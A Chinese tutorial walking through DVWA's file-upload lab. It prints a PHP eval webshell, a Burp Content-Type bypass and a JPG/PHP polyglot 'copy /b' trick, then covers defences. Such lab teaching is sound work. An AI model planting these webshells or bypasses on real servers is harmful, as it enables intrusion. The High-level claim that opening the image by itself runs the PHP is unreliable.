当前位置: 首页 > news >正文

DVWA文件上传漏洞通关实录:从Low到High,手把手教你三种绕过姿势(附Burp Suite实战)

DVWA文件上传漏洞实战指南:从基础绕过到高级技巧

在Web安全领域,文件上传漏洞一直是最常见也最具破坏力的漏洞类型之一。DVWA(Damn Vulnerable Web Application)作为经典的漏洞练习平台,其文件上传模块设置了从低到高三个不同安全级别的防御机制,为我们提供了绝佳的学习样本。本文将带你深入理解文件上传漏洞的本质,并手把手演示如何逐步突破这些安全限制。

1. 文件上传漏洞基础与Low级别突破

文件上传漏洞之所以危险,在于攻击者可以直接将恶意代码上传到服务器执行。在DVWA的Low级别中,开发者完全没有设置任何防护措施,这让我们能够直观地理解最原始的文件上传漏洞利用方式。

1.1 漏洞代码分析

Low级别的后端处理代码如下:

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>Your image was not uploaded.</pre>'; } else { echo '<pre>'. $target_path . ' succesfully uploaded!</pre>'; }

这段代码存在几个关键问题:

  • 没有检查文件类型
  • 没有验证文件内容
  • 直接使用用户提供的文件名
  • 将文件存储在可执行目录

1.2 实战利用步骤

  1. 准备一个简单的PHP webshell:
<?php @eval($_POST['cmd']); ?>
  1. 在DVWA的文件上传页面直接选择这个PHP文件上传

  2. 上传成功后,可以通过以下方式验证:

    • 访问上传的PHP文件URL
    • 使用中国蚁剑等工具连接webshell

关键技巧

  • 确保上传目录有执行权限
  • 如果无法直接访问,尝试结合目录遍历漏洞
  • 使用简单的webshell代码更容易绕过基础防护

2. Medium级别的MIME类型绕过

Medium级别引入了基本的文件类型检查,主要增加了以下防护代码:

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)) { // 允许上传 }

2.1 绕过思路分析

这种防护存在两个主要问题:

  1. 仅检查客户端提供的MIME类型,而非实际文件内容
  2. 文件大小限制过于宽松

我们可以通过修改HTTP请求中的Content-Type头部来绕过这种检查。

2.2 Burp Suite实战操作

  1. 配置浏览器代理指向Burp Suite(默认127.0.0.1:8080)

  2. 在Burp Suite中开启拦截功能(Proxy → Intercept → Intercept is on)

  3. 上传PHP文件时,Burp会拦截到类似如下的请求:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: application/octet-stream
  1. Content-Type: application/octet-stream修改为Content-Type: image/jpeg

  2. 转发请求后,文件将被成功上传

常见问题排查

  • 确保Burp证书已安装并受信任
  • 检查拦截功能是否开启
  • 确认修改的是文件部分的Content-Type而非整个请求的

3. High级别的文件合并技巧

High级别采用了更严格的防护措施,检查文件扩展名:

$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)) { // 允许上传 }

3.1 文件合并技术原理

这种防护可以通过文件合并技术绕过:

  1. 准备一个正常的JPG图片
  2. 创建一个特殊的PHP文件
  3. 将两者合并为一个新的文件

合并后的文件既是有效的图片,又包含可执行的PHP代码。

3.2 具体实现步骤

  1. 准备一个简单的图片文件(如test.jpg)
  2. 创建特殊构造的PHP文件shell.php:
<?php file_put_contents('shell_final.php', '<?php eval($_POST["cmd"]); ?>'); ?>
  1. 在Windows中使用命令提示符执行合并:
copy /b test.jpg + shell.php final.jpg
  1. 上传合并后的final.jpg文件

  2. 访问这个图片文件时,它会在服务器上生成一个可执行的PHP文件

高级技巧

  • 使用Exif工具将PHP代码写入图片的元数据
  • 尝试GIF89a头部注入
  • 结合文件包含漏洞实现代码执行

4. 防御措施与安全建议

了解了攻击方法后,我们更应该知道如何正确防御文件上传漏洞。

4.1 有效的防护策略

防护措施实现方式有效性
文件扩展名检查白名单机制★★★★☆
文件内容检测使用getimagesize()等函数★★★★☆
文件重命名随机生成存储文件名★★★☆☆
隔离存储上传目录禁用脚本执行★★★★★
病毒扫描集成杀毒软件API★★★☆☆

4.2 安全开发建议

  1. 永远使用白名单而非黑名单

    • 只允许已知安全的文件类型
    • 不要试图过滤"危险"扩展名
  2. 验证文件内容而不仅依赖扩展名

    $imageinfo = getimagesize($_FILES['uploaded']['tmp_name']); if($imageinfo['mime'] != 'image/jpeg') { die('只允许JPEG图片'); }
  3. 安全存储上传文件

    • 存储在Web根目录之外
    • 设置正确的文件权限
    • 禁用上传目录的脚本执行
  4. 日志与监控

    • 记录所有上传操作
    • 监控可疑的上传行为

在实际开发中,应该组合使用多种防护措施,形成纵深防御体系。文件上传功能看似简单,但要实现安全可靠却需要开发者具备充分的安全意识和技术能力。

http://www.jsqmd.com/news/618794/

相关文章:

  • 2026雅思听力提分app推荐:精选高效工具助你冲刺高分 - 品牌2025
  • 基于 Helm + Argo CD 的 Kubernetes GitOps 多环境( dev/test/prod)自动化部署实践
  • 聊一聊 C# 中的闭包陷阱:foreach 循环的坑你还记得吗?夯
  • 告别粗放营销,用绿色积分搭建门店长效经营体系
  • 把用户主数据放到该放的位置,聊透 SAP NetWeaver AS ABAP 里的 User Data Synchronization
  • 二次元游戏模组管理革命:为什么你需要一个统一的启动器平台?
  • 2026年光辉海棠树木厂家推荐:美国红枫/紫叶稠李/青仟云杉树木厂家——开原市小松苗圃 - 品牌推荐官
  • 国产知识库软件哪个好?8 款类 Confluence 工具横向对比
  • 5分钟让Windows 11焕然一新:极速系统加速与性能优化终极指南
  • GitHub汉化插件终极指南:3步让GitHub界面全面中文化
  • 软考 系统架构设计师历年真题集萃(237)
  • AidLux远程SSH连接实战 | 密钥与密码双模式详解
  • 理想汽车又孵化一家具身公司......
  • 2026年4月SEM原位纳米压痕仪的技术架构与供应商核心技术边界——从超高真空兼容到亚微牛级力反馈的工程实现 - 品牌推荐大师1
  • HarmonyOS音频播放核心规范:从“能响”到“专业”
  • Switch第三方控制器终极指南:用sys-con解锁全平台手柄支持 [特殊字符]
  • ROS2 Jazzy/Rollin连接PX4仿真与实机切换指南:一个Launch文件搞定两种模式
  • Piggy_Packages V2026.1 帮助文档(一)开箱即用
  • ABAP 平台里的用户认证与单点登录,从密码登录到 SAML 2.0 的落地路径
  • 千帆竞发:126颗卫星升空背后的全球卫星互联网竞速
  • 2026雅思听力素材App推荐:精选高效备考神器助你提分 - 品牌2025
  • 如何快速解决Windows热键冲突:Hotkey Detective终极使用指南
  • 无人机多模态火灾图像识别 多光谱野火识别 智慧林业火灾识别 火灾识别图像数据集 多模态数据集 可见光+红外图像对其数据集第10652期
  • 终极键盘防抖指南:如何彻底解决机械键盘连击问题
  • Windows系统部署工具终极指南:3大优势实现自动化安装方案
  • 2026年云南有实力的钢管、钢板、无缝管、钢结构、钢材厂家选型推荐手册 - 深度智识库
  • LeetCode 删除无效的括号:python 题解诜
  • 告别虚拟机!在WSL2的Ubuntu里5分钟跑通LVGL v9.2图形界面(附SDL2配置避坑)
  • C++11新特性 智能指针
  • 从零搭建LaTeX:一站式环境配置与编辑器选择指南